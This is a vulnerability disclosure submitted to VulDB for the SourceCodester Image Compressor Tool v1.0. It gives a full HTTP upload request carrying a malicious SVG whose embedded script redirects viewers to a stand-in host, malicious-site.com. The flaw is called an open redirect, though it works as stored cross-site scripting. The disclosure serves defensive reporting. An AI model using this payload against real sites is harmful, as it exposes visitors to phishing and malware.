| Title | https://www.sourcecodester.com/php/17431/image-compressor-tool-u web 1 Open Redirect |
|---|
| Description | Exploit Title:
Open Redirect via File Upload in Image Compressor Tool
Date:
04/02/2025
Exploit Author:
Xcode0x
Twitter: @xcode0x
Vendor Homepage:
[https://www.sourcecodester.com/php/17431/image-compressor-tool-using-php-source-code.html]
Software Link:
[Not provided]
Version:
v1.0
Tested on:
Kali Linux
Open Redirect Details:
The Image Compressor Tool web application is vulnerable to an Open Redirect attack through file upload functionality. By uploading a malicious SVG file containing a <script> tag, an attacker can redirect users to arbitrary malicious websites when the uploaded file is accessed.
Endpoint:
POST /image-compressor/compressor.php
Example Vulnerable Request:
http
Copy
Edit
POST /image-compressor/compressor.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------320450181136001431061340208953
Content-Length: 629
Origin: http://x.x.x.x
Connection: keep-alive
Referer: http://x.x.x.x/image-compressor/
Cookie: PHPSESSID=07e2sedv7t9ac46ep6u7iu2kng
Priority: u=0
-----------------------------320450181136001431061340208953
Content-Disposition: form-data; name="image"; filename="redirect.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
window.location.href="https://malicious-site.com/";
</script>
</svg>
-----------------------------320450181136001431061340208953--
Proof of Concept (POC):
Upload the malicious SVG file containing a <script> tag with the window.location.href redirection code to the Image Compressor Tool.
After the image is compressed and accessed via the browser, the JavaScript code redirects the user to https://malicious-site.com/.
|
|---|
| User | xcode0x (UID 39076) |
|---|
| Submission | 02/04/2025 11:35 AM (4 months ago) |
|---|
| Moderation | 02/10/2025 10:09 AM (6 days later) |
|---|
| Status | Accepted |
|---|
| VulDB Entry | 295073 [SourceCodester Image Compressor Tool 1.0 compressor.php image cross site scripting] |
|---|
| Points | 17 |
|---|